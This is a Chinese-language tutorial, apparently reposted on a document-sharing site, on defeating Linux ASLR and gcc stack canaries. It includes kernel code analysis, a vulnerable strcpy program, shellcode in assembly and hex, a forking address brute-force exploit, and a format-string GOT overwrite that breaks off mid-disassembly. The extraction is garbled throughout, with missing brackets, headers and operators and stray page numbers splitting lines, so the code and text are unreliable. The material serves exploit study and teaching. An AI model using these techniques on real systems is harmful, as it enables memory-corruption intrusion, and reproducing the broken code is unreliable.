1、突破ASLR保护和编译器栈保护 突破ASLR保护和编译器栈保护作者:hackisleASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对栈、共享库映射等线性区布局的随机化,防止攻击者定位攻击代码位置,达到阻止溢出攻击的目的。据研究表明ASLR可以有效的降低缓冲区溢出攻击的成功率,如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。以下是在Ubuntu7.04上对地址空间布局的测试:test.c#include #include main()char *i;char buff20;i=malloc(2
2、0);sleep(1000);free(i);lklk-laptop:$ ps -aux|grep testWarning: bad ps syntax, perhaps a bogus -? See lk87310.00.0 1632 332 pts/0S+ 18:49 0:00 ./testlk87660.00.0 2884 748 pts/1R+ 18:49 0:00 grep testlklk-laptop:$ cat /proc/8731/maps08048000-08049000 r-xp 00000000 08:01 2256782/home/lk/Desktop/test080
3、49000-0804a000 rw-p 00000000 08:01 2256782/home/lk/Desktop/test0804a000-0806b000 rw-p 0804a000 00:00 0heapb7e60000-b7e61000 rw-p b7e60000 00:00 0b7e61000-b7f9c000 r-xp 00000000 08:01 12116/lib/tls/i686/cmov/libc-2.5.sob7f9c000-b7f9d000 r-p 0013b000 08:01 12116/lib/tls/i686/cmov/libc-2.5.sob7f9d000-b
4、7f9f000 rw-p 0013c000 08:01 12116/lib/tls/i686/cmov/libc-2.5.sob7f9f000-b7fa2000 rw-p b7f9f000 00:00 0b7fae000-b7fb0000 rw-p b7fae000 00:00 0b7fb0000-b7fc9000 r-xp 00000000 08:01 12195/lib/ld-2.5.sob7fc9000-b7fcb000 rw-p 00019000 08:01 12195/lib/ld-2.5.sobfe86000-bfe9c000 rw-p bfe86000 00:00 0stackf
5、fffe000-fffff000 r-xp 00000000 00:00 0vdsolklk-laptop:$ ps -aux|grep testWarning: bad ps syntax, perhaps a bogus -? See lk87810.00.0 1632 332 pts/0S+ 18:49 0:00 ./testlk87850.00.0 2884 748 pts/1R+ 18:49 0:00 grep testlklk-laptop:$ cat /proc/8781/maps08048000-08049000 r-xp 00000000 08:01 2256782/home
6、/lk/Desktop/test08049000-0804a000 rw-p 00000000 08:01 2256782/home/lk/Desktop/test0804a000-0806b000 rw-p 0804a000 00:00 0heapb7e1e000-b7e1f000 rw-p b7e1e000 00:00 0b7e1f000-b7f5a000 r-xp 00000000 08:01 12116/lib/tls/i686/cmov/libc-2.5.sob7f5a000-b7f5b000 r-p 0013b000 08:01 12116/lib/tls/i686/cmov/li
7、bc-2.5.sob7f5b000-b7f5d000 rw-p 0013c000 08:01 12116/lib/tls/i686/cmov/libc-2.5.sob7f5d000-b7f60000 rw-p b7f5d000 00:00 0b7f6c000-b7f6e000 rw-p b7f6c000 00:00 0b7f6e000-b7f87000 r-xp 00000000 08:01 12195/lib/ld-2.5.sob7f87000-b7f89000 rw-p 00019000 08:01 12195/lib/ld-2.5.sobfe23000-bfe39000 rw-p bfe
8、23000 00:00 0stackffffe000-fffff000 r-xp 00000000 00:00 0vdso通过两次运行后对比/proc下的进程信息可以发现进程栈和共享库映射的地址空间都有了较大的变化,这使得以往通过esp值来猜测shellcode地址的成功率大大降低了。Phrack59期有一篇文章介绍过使用return-into-libc的方法突破ASLR保护,不过存在着较大的条件限制,milw0rm的一篇文章也介绍了通过搜索linux-gate.so.1中的jmp %esp指令从而转向执行shellcode的方法,不过由于现在的编译器将要恢复的esp值保存在栈中,因此也不能继
9、续使用,下面要介绍的是将 shellcode放在环境变量中的通用方法。将shellcode放在环境变量中是比较早期的一种技术,不过在突破ASLR保护时仍能起到很好的效果,要了解其中的原因,首先要分析一下可执行文件的加载过程。Linux系统中提供了execve()系统调用,用来将可执行文件描述的新文境替换原进程的文境,execve()系统调用的内核入口是 sys_execve(),sys_execve()将可执行文件的路径名拷贝到内核空间后调用do_execve(),并将路径名指针、argv数组指针、envp数组指针和pt_regs结构指针传递给它。do_execve()分配一个linux_bi
10、nprm结构,用可执行文件的数据填充该结构,包括调用copy_strings_kernel()和copy_strings()将可执行文件的路径名、环境变量字串、命令行参数字串拷贝到 linux_binprm结构的page指针数组指向的内核页面中(从后往前拷),然后通过search_binary_handler()搜索并调用可执行文件对应的加载函数,其中elf文件对应的是load_elf_binary()。struct linux_binprmchar bufBINPRM_BUF_SIZE;struct page *pageMAX_ARG_PAGES;struct mm_struct *mm;u
11、nsigned long p; /* current top of mem */int sh_bang;struct file * file;int e_uid, e_gid;kernel_cap_t cap_inheritable, cap_permitted, cap_effective;void *security;int argc, envc;char * filename;/* Name of binary as seen by procps */char * interp;/* Name of the binary really executed. Most of the time
12、 same as filename, but could be different for binfmt_misc,script */unsigned interp_flags;unsigned interp_data;unsigned long loader, exec;load_elf_binary()的主要流程是把page指针数组指向的内核页面映射回用户空间,接着将可执行文件和解释器的部分区段映射到用户空间,并设置用户空间栈上的argc,argv,envp和解释器将用到的辅助向量。为了将page指针数组指向的页面映射到用户空间,load_elf_binary()中调用了setup_arg
13、_pages(),对应代码如下:retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP), executable_stack);其中,STACK_TOP的值通常等于0xc0000000,即用户空间的顶端,randomize_stack_top()首先判断内核是否开启了 ASLR保护,如果开启,则调用get_random_int()获得一个随机数,并和STACK_RND_MASK(0x7ff)相与后再左移 PAGE_SHIFT(12)位得到random_variable,最后将stack_top按页边界对齐后减去random_va
14、riable,得到最终的stack_top值,由此我们可以算出stack_top可能的最小值为0xc0000000-0x7ff000=0xbf801000。static unsigned long randomize_stack_top(unsigned long stack_top)unsigned int random_variable = 0;if (current-flags & PF_RANDOMIZE) &!(current-personality & ADDR_NO_RANDOMIZE) random_variable = get_random_int() & STACK_RND
15、_MASK;random_variable personality & ADDR_NO_RANDOMIZE) & randomize_va_space)sp -= get_random_int() % 8192;return sp & 0xf;最后setup_arg_pages()通过循环调用install_arg_page将page指针数组指向的内核页面映射到用户空间中stack_base开始的区域:for (i = 0 ; i pagei;if (page) bprm-pagei = NULL;install_arg_page(mpnt, page, stack_base);stack_b
16、ase += PAGE_SIZE;这时,用户空间栈的布局如下:(内存高址)stack_top+ + NULL+ 路径名+ 环境变量字串+ 命令行参数字串+ +stack_base(内存低址)通过以上分析可以得到:(1)、当向程序传递相同的环境变量时,即使stack_base的值是不固定的,但环境变量字串在页内的偏移却是一个固定的值,也就是环境变量字串地址的末尾3位是固定的。(2)、由于stack_base的可能最小值不会小于0xbf7df000,因此环境变量字串的地址总是高于0xbf7df000。当我们把shellcode作为环境变量传递给被攻击程序时,便可通过路径名长度和shellcode长
17、度确定shellcode地址的末尾3位,而头2 位则是固定的bf,中间3位的范围是7dffff,这只是一个很小的区间,如果同时开启多个进程以不同地址进行尝试的话,很快便能命中我们的 shellcode。以下是演示程序:vul.c#include #include #include int main(int argc,char *argv)char buff200;printf(SCD(%p)n,getenv(SCD);strcpy(buff,argv1);shellcode.section .data.globl _start_start:jmp 2f1:popl %esixorl %eax,
18、%eaxmovb %al,0x3(%esi)movl %esi,0x4(%esi)movl %eax,0x8(%esi)movl 0x8(%esi),%edxleal 0x4(%esi),%ecxmovl %esi,%ebxmovb $0xb,%alint $0x802:call 1b.string runrun.c#include main()system(touch test);system(killall exp);exp.c#include #include #include #include #include char scd=SCD=x90x90x90x90xebx18x5ex31
19、xc0x88x46x03x89x76x04x89x46x08x8bx56x08x8dx4ex04x89xf3xb0x0bxcdx80xe8xe3xffxffxffrun;int main(int argc,char *argv)int i,j,addr;char buff240;char *sargv=vul,buff,NULL;char *senvp=scd,NULL;addr=0xbfa81fd1;for(i=0;i20;i+)printf(try SCD addr 0x%xn,addr);*(int *)scd+1)=addr+4;for(j=0;j60;j+)*(int *)buff+
20、j)=addr+4;if(fork()=0)while(1)if(fork()=0)execve(sargv0,sargv,senvp);exit(EXIT_FAILURE);wait(NULL);addr+=0x1000;其中vul.c是漏洞程序,shellcode的功能是执行run程序,run程序在当前目录下建立一个test文件,并结束exp进程。将页面大小 4096减去NULL指针的长度4,再减去路径名vul的长度4和scd数组的长度43,再加上开头4个字符的长度,最后便可得到shellcode 在页面内的偏移值fd1,同时开启20个进程分别以0xbfa81fd1等不同地址进行尝试,很快
21、目录下便出现test文件,证明我们的 shellcode如期执行了。为了防止栈溢出攻击,高版本的gcc通常会在编译时为局部变量含有char数组的函数中加入保护代码,通过:0x08048481 : mov%gs:0x14,%eax0x08048487 : mov%eax,0xfffffff8(%ebp)把一个canary word保存在栈中,在函数返回时再通过:0x080484dd :mov0xfffffff8(%ebp),%edx0x080484e0 :xor%gs:0x14,%edx0x080484e7 :je 0x80484ee 0x080484e9 :call 0x80483a8 检查该
22、值是否被覆盖,从而判断是否发生栈溢出并转向相应的处理流程。另外,gcc还会调整局部变量的位置,把char数组挪到较高处,防止溢出时覆盖其它重要变量。这些措施在一定程度上增加了溢出攻击攻击的难度,但在某些特定情况下也可能被绕过,比如:vul.c#include #include #include #include #include #include #include int main(int argc,char *argv)int fd;char buff200;printf(SCD(%p)n,getenv(SCD);strcpy(buff,argv1);fd=open(/dev/null,O_
23、RDWR);dup2(fd,1);printf(buff);当存在可写任意内存地址漏洞时(某些栈溢出漏洞也可能导致写任意内存地址,为了演示方便,使用了format string漏洞),可以通过修改_stack_chk_fail对应的GOT项从而改变程序的执行流程。lklk-laptop:/Desktop$ gdb vul -qUsing host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1.(gdb) disas mainDump of assembler code for function main:0x080484a4 :lea0x4(%esp),%ecx-ecx等于esp+40x080484a8 :and$0xfffffff0,%esp0x080484ab :pushl0xfffffffc(%ecx)0x080484ae : push %ebp0x080484af : mov%esp,%ebp0x080484b1 : push %ecx-把ecx的值保存在栈中0x080484b2 : sub$0xe4,%esp-这时的esp等于ebp-2320x080484b8 : mov0x4(%ecx),%eax0x080484bb : mov%eax,0xffffff2
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1